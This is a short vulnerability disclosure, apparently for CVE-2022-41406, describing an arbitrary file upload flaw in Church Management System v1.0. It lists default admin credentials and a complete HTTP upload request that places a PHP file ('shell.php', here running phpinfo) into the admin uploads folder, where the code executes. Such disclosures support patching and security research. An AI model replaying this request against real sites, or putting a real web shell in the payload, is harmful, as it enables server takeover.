Headline
CVE-2022-41406: Bug_report/RCE-1.md at main · CokuTau-CH/Bug_report
An arbitrary file upload vulnerability in the /admin/admin_pic.php component of Church Management System v1.0 allows attackers to execute arbitrary code via a crafted PHP file.
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Church Management System v1.0 by Godfrey De Blessed has arbitrary code execution (RCE)
BUG_Author: Cokutau-CH
vendors: https://www.sourcecodester.com/php/11206/church-management-system.html
The program is built using the xmapp-php8.1 version
Login account: admin/admin (Super Admin account)
Vulnerability url: ip/cman/admin/admin_pic.php
Loophole location: Church Management System’s admin/admin_pic.php file exists arbitrary file upload (RCE)
Request package for file upload：
POST /cman/admin/admin_pic.php HTTP/1.1 Host: 192.168.1.19 User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:46.0) Gecko/20100101 Firefox/46.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3 Accept-Encoding: gzip, deflate DNT: 1 Referer: http://192.168.1.19/cman/admin/dashboard.php Cookie: PHPSESSID=fjhrjdpuej6edqv5haoadpj3lc Connection: close Content-Type: multipart/form-data; boundary=---------------------------211491645714374 Content-Length: 327 -----------------------------211491645714374 Content-Disposition: form-data; name="image"; filename="shell.php" Content-Type: application/octet-stream JFJF <?php phpinfo();?> -----------------------------211491645714374 Content-Disposition: form-data; name="change" -----------------------------211491645714374–
The files will be uploaded to this directory \cman\admin\uploads
We visited the directory of the file in the browser and found that the code had been executed